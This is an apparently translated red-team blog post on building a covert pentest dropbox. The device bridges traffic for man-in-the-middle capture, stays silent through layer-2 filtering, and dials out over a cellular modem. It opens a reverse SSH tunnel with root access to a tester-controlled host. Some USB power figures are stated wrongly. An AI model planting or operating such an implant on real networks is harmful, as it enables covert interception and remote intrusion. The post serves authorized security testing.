强化渗透测试Dropbox:透明网桥与蜂窝调制解调器配置指南

本文详细介绍了如何配置一个功能强大的渗透测试Dropbox,包括添加透明网桥实现中间人攻击能力、集成蜂窝调制解调器进行反向通信,以及设置反向SSH隧道实现远程访问。

强化渗透测试Dropbox

Joff Thyer//

你们中的许多人可能已经看过Beau Bullock关于渗透测试dropbox的优秀博客文章。Beau提供了关于如何使用不同平台构建基础dropbox平台的出色指导。在这种情况下,我选择了运行KALI(ARM)版本的ODroid-C2平台,并将在其基础上扩展,添加一些重要功能。我建议你们在这里阅读Beau的文章,因为我将写的内容建立在该基础之上。简而言之,Beau的优秀工作谈到了部署一个临时接入点用于攻击者/渗透测试者通信,但在某些场景中(例如多租户/多层建筑),这样的部署可能无法通过802.11访问。

作为修改后的解决方案,我将解决的两个具体问题如下:

  1. 添加两个额外的以太网NIC以创建透明桥接中间人(MiTM)能力。
  2. 添加蜂窝调制解调器用于反向通道通信,而不是802.11 WiFi。

透明桥接中间人(MiTM)能力在红队场景中非常有用。只要部署的dropbox有电池供电,测试人员可以通过任何可用方式进入组织,将dropbox连接在服务器/桌面系统和以太网墙插孔之间,然后快速离开!

想法是,一旦dropbox通电,它连接到选定的蜂窝网络,执行反向SSH连接出站到几个渗透测试者控制的系统,以便渗透测试者可以远程使用所述系统。此外,仍然非常有用的是为系统连接无线NIC以用于无线流量拦截目的。

配置透明网桥

我对透明桥接的要求非常基本。桥接解决方案必须转发任何ARP请求和带有0x0800 IP以太网类型的以太网帧。桥接还必须能够转发以太网类型0x888E的帧,这些是局域网上的可扩展认证协议(EAPOL)。这很重要,以便可以捕获未启用MACSEC的802.1X帧。部署MACSEC后,以太网帧在端点和以太网交换机之间加密,使MiTM解决方案无法操作,除非MiTM解决方案本身参与MACSEC协议。我不会解决这个方面,但MACSEC并不经常部署。

一旦你的KALI系统启动并运行,你应该首先在系统上安装“bridge-utils”。这可以通过root shell使用“apt-get”轻松完成,如下所示:

1
2
# apt-get update 
# apt-get install bridge-utils 

当然,这假设你的ODroid-C2通过其内部以太网接口连接到互联网。然后我建议你从你喜欢的供应商那里获取两个可靠的USB以太网NIC。我强烈建议你获取一个基于USB3的NIC,具有10/100/1000Mbps能力。我使用了一个IOCrest品牌的适配器,在亚马逊上列出这里

系统启动后,你现在应该看到总共三个NIC,命名为eth0、eth1和eth2。你可以使用“ip link”命令来确认这一点。我们现在需要做的是创建一个透明桥接接口,以便流量可以在“eth1”和“eth2”之间桥接。我们需要确保这个桥接在系统启动时被创建。

要手动执行此操作,我们使用“brctl”命令,创建并将以太网接口添加到桥接接口。我们必须确保在此过程中生成树保持禁用。我建议为了简单起见将桥接接口命名为“br0”。要创建这个桥接,我们执行以下操作:

1
2
3
# brctl addbr br0 
# brctl addif br0 eth1 
# brctl addif br0 eth2 

随后,要检查我们的工作,我们可以输入这个命令。

1
# brctl show bridge name bridge id                        STP enabled        interfaces br0                 8000.00e04c6800c1        no                        eth1                                                                       eth2 

下一个要解决的挑战是如何让蜂窝调制解调器拨号回提供商。在我的情况下,我选择使用Ting,这是一个移动虚拟网络运营商(MVNO),利用Sprint的网络。最重要的第一步是确保你的蜂窝调制解调器正确注册到你的提供商。Ting和其他MVNO使这个过程相当容易。

配置你的蜂窝调制解调器

在继续之前,有一些软件包你必须拥有。为确保你拥有它们,执行以下步骤。

1
2
# apt-get update 
# apt-get install ppp wvdial usb-modeswitch 

非常重要的一点是获取一个未锁定任何提供商的蜂窝调制解调器,并且与你的选定提供商兼容。在我的情况下,我选择了一个与任何GSM提供商兼容的GSM调制解调器。获取的亚马逊链接是这里

你需要让调制解调器工作的UNIX/Linux工具叫做“wvdial”(https://en.wikipedia.org/wiki/WvDial),这是一个点对点(PPP)协议拨号器。信不信由你,蜂窝调制解调器仍然使用那个旧的“AT”命令集语法,你可能还记得使用拨号调制解调器的日子!拨号初始化命令集和其他参数将根据你的提供商而变化。在我的情况下,/etc/wvdial.conf文件如下所列。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
[Dialer ting] 
Init3 = AT+CGDCONT=1,"IP","wholesale" 
Phone = *99# 
IDSN = 0 
Baud = 460800 
Modem Type = Analog Modem 
Stupid Mode = 1 
Username = {blank} 
Modem = /dev/ttyUSB0 
Password = {blank} 
Init1 = ATZ 
Init2 = ATQ0 V1 E1 S0=0 &C1 &D2 
Idle = 0 
Dial Attempts = 0 
Dial Timeout = 10 

/etc/wvdial.conf的内容

你必须用蜂窝调制解调器解决的另一个挑战是它们通常有两种模式。一种模式会将调制解调器挂载为USB驱动器(通常用于安装软件),而另一种模式会将调制解调器识别为调制解调器,从而产生对/dev/ttyUSB0的访问。如果你没有正确切换模式,那么你无法访问调制解调器。/etc/usb_modeswitch.conf的内容决定了这是如何发生的。如果你选择与本文所列不同的调制解调器,你应该在互联网上搜索正确的“MessageContent”参数。“DefaultVendor”和“DefaultProduct”可以在调制解调器连接时使用“lsusb”命令确定。

1
2
3
4
5
6
DisableSwitching=0 
EnableLogging=0 
DefaultVendor = 0x12d1 
DefaultProduct = 0x1506 
MessageEndPoint = "0x01" 
MessageContent = 55534243000000000000000000000011060000000000000000000000000000 

/etc/usb_modeswitch.conf的内容

你不应该需要担心手动运行“usb_modeswitch”,因为udev守护进程会处理它。如果有任何担忧,你可以检查文件/lib/udev/rules.d/40-usb_modeswitch.rules中的这个条目是否存在。你还可以在插入调制解调器后在/var/log/syslog中搜索“usb_modeswitch”来确认。

现在你已经有了这些项目,你可以连接键盘和监视器并从控制台测试。确保“wvdial”正确拨号到你的蜂窝提供商非常重要。假设一切正确,你应该在成功时看到类似于下面截图的输出。使用上述名为“Ting”的配置拨号的命令如下:

1
# wvdial ting

假设你所有这些都正常工作,我建议在/etc/init.d中创建一个文件,在系统启动时自动启动你的“wvdial”。我的启动脚本看起来像这样:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/bin/bash 
### BEGIN INIT INFO 
# Provides:        wvdial 
# Required-Start:  $network $remote_fs $syslog 
# Required-Stop:   $network $remote_fs $syslog 
# Default-Start:   3 
# Default-Stop: 
# Short-Description: Start Reverse SSH 
### END INIT INFO 
. /lib/lsb/init-functions 
case "$1" in     
    start)         
        if [ -e /dev/ttyUSB0 ]; then             
            now=`date +'%Y-%m-%d %H:%M:%S'`             
            echo "" >>/var/log/wvdial.log             
            echo "############################################" >>/var/log/wvdial.log             
            echo "## Script start time: $now ##" >>/var/log/wvdial.log             
            echo "############################################" >>/var/log/wvdial.log             
            wvdial ting >>/var/log/wvdial.log 2>&1 &             
            log_action_msg "cellular modem link dialed"         
         else             
            log_failure_msg "failed to find cellular modem device"         
         fi         
         ;;     
     stop)         
         pkill -f wvdial         
         ;; 
esac

反向SSH隧道

现在你有一个功能正常的蜂窝调制解调器通道,下一步是建立一个反向SSH隧道到你喜欢的互联网目的地。这将使你可以随时通过反向隧道SSH到你的dropbox。

最简单的方法是在你的dropbox系统上生成一个SSH密钥,然后将公钥复制到互联网目的地系统上的SSH authorized_keys文件中。你还需要确保有一些冗余,空闲超时检查,并且SSH隧道在系统启动时立即建立。

对于反向SSH隧道,以下SSH参数很有用。

1
2
3
4
5
6
7
8
9
-N        不执行远程命令

-f        请求SSH进入后台

-T        不分配伪终端

-R        将连接从远程端转发到连接的本地端

-o TCPKeepAlive=yes                启用TCP保持活动数据包(通常是默认值)

为了生成和使用密钥,我推荐椭圆曲线密码学密码,因为它在CPU消耗上总体更容易一些。

在dropbox系统上,生成你的新私钥/公钥。

然后,将“.ssh/id_ecdsa.pub”文本复制到你希望dropbox连接回的互联网连接主机的“~/.ssh/authorized_keys”文件中。这与任何其他受信任密钥SSH配置没有什么不同。

如果我们假设你要连接回的系统的互联网地址是255.99.99.99,那么你要用于建立隧道的SSH命令如下:

1
 root@kali-arm64# ssh root@255.99.99.99 -o TCPKeepAlive=yes -NTfR 2222:localhost:22 

这意味着我们连接到远程IP地址,并要求远程系统在127.0.0.1(localhost)接口上绑定TCP端口2222,我们将随后使用它来SSH回我们的dropbox。

在我们的远程系统上,每当我们想登录到dropbox时,我们执行以下操作:

1
 255.99.99.99# ssh -p 2222 root@localhost 

很可能,你还会希望从该远程系统交换一个公钥回你的dropbox,以便你为root账户有双向信任。这只是在连接回你的系统时使事情变得简单和快速。

对于SSH隧道的冗余,你可以选择实现多个IP地址目的地,并可能多个TCP端口。你还希望反向SSH隧道在蜂窝调制解调器连接成功完成后立即自动建立。我发现最好的方法是编写一个小脚本并将其放入“/etc/ppp/ip-up.d”目录,该目录将在PPP守护进程成功运行后立即执行。

最后,在服务器端(255.99.99.99远程端),设置几个空闲超时参数非常有帮助。原因是如果你的dropbox重新启动,我们真的需要隧道化的ssh会话超时以释放我们正在绑定的TCP端口。如果我们不这样做,我们会得到挂起的SSH守护进程会话,随后的SSH隧道将失败。

我对此的解决方案是修改远程服务器端的/etc/ssh/sshd_config文件,以便“ClientAliveInterval”和“ClientAliveMax”选项适当设置为在5秒间隔的3次重试后超时连接。我的修改截图如下。

远程互联网主机上的“sshd_config”

额外的数据包过滤和转发

在这个阶段,我们有一个系统,有一个配置好的透明桥接接口(称为br0),它将愉快地转发流量,并且还将SSH隧道回家供你享受!这是一个很棒的成就,但仍有几个问题你必须处理。我将这些问题总结如下:

  1. dropbox需要在网络上真正静默。这意味着在我们的“eth1”和“eth2”网络接口上,我们根本不能发出任何数据包。
  2. dropbox需要能够转发局域网上的可扩展认证协议(EAPOL)数据包。不幸的是,Linux透明桥接内核代码默认不这样做。
  3. 保持静默的默认行为需要在启动时配置。
  4. 桥接接口需要在启动时正确配置。

我通常假设我的“eth2”端口将面向网络交换机,并相应地标记事物。这在使用系统时很有帮助,尽管始终记住“eth1”和“eth2”都直接桥接到“br0”接口。

我们需要意识到的另一个行为是第2层/第3层多播流量。如果一个系统尝试向224.0.0.0/4范围内的目的地地址发出多播数据包,该数据包将自动映射到第2层,并且多播以太网帧将发往01:xx:xx:xx:xx:xx地址空间中的地址(即:设置了多播位的帧)。

使用保持静默的原则,我们需要抑制不仅潜在的多播,还有任何潜在的ARP流量。首先,在dropbox上安装额外的过滤工具,即“arptables”和“ebtables”。这使你有能力在第2层过滤数据包,并过滤ARP流量。

1
 # apt-get update # apt-get install arptables # apt-get install ebtables 

完成此操作并进行大量实验后,我想出了一个配置,我完全将其放入/etc/network/interfaces文件中,以执行我需要的所有任务,这些任务是:

  1. 配置eth0、eth1和eth2
  2. 配置桥接接口(br0)
  3. 在桥接接口上放置链接范围本地地址
  4. 过滤eth2端口上的ARP流量出口
  5. 过滤eth2端口上的IP流量出口
  6. 过滤任何多播以太网流量
  7. 启用EAPOL流量被转发

配置也包含在这里供你使用。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
auto lo 
iface lo inet loopback 
auto eth0 
allow-hotplug eth0 
iface eth0 inet dhcp 
auto eth1 eth2 
allow-hotplug eth1 eth2 
auto br0 
allow-hotplug br0 
iface br0 inet static     
    address 169.254.1.1     
    network 169.254.1.0     
    netmask 255.255.255.0     
    bridge_ports eth1 eth2     
    pre-up arptables -A OUTPUT -j DROP     
    pre-up iptables -A OUTPUT -o br0 -j DROP     
    pre-up ebtables -A OUTPUT -o br0 -d Multicast -j DROP     
    post-up echo 8 >/sys/class/net/br0/bridge/group_fwd_mask 

关于电源预算不足的一些话

对你们中的许多人来说,电源在USB总线上经常被超额订阅可能并不奇怪。标准USB端口按规格可以提供500毫瓦,除非是USB 3.0,最多可以提供900毫瓦。好吧,让我们考虑一下,你向USB总线添加了两个以太网NIC和一个蜂窝调制解调器。你可能在每个端口的基础上没问题,但总体瓦数消耗会增加。另一件要考虑的事情是,我们的dropbox解决方案需要便携性,意味着你需要用电池为这个东西供电!

因为我完全痴迷,我决定进行一个实验。使用瓦特计,我将完全配置的dropbox插入USB充电器。ODroid-C2、两个USB NIC和蜂窝调制解调器的组合使用了总共4.7瓦(4700毫瓦)。减去蜂窝调制解调器,它下降到3000毫瓦。减去两个NIC,它下降到2700毫瓦。所以我们的附加设备单独使用高达2000毫瓦,ODroid使用剩余的2700毫瓦。我只是猜测你还会想向这个东西添加一个802.11 NIC。如果你这样做,那么你最好再考虑300-900毫瓦的最佳猜测。

蜂窝调制解调器 = 1700毫瓦 USB NIC = 150毫瓦(x 2)

使用一点数学,我们得到1安培 x 5 VDC电源能够提供最大5000毫瓦(物理学说:P(瓦特)= 伏特 x 安培)。我的测量是在空闲状态下进行的,这意味着我们非常接近最大电源预算。

答案是请确保你使用的电池解决方案能够提供至少2安培,最多可达10,000毫瓦。即使我使用了2安培电池供应,如果电池没有完全充电,我也看到蜂窝调制解调器有问题。如果你不遵循这个建议?好吧,我怀疑你的USB设备将会有电源不足,并开始表现得非常奇怪,这将是最不理想的。

前进吧,中间人所有东西!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计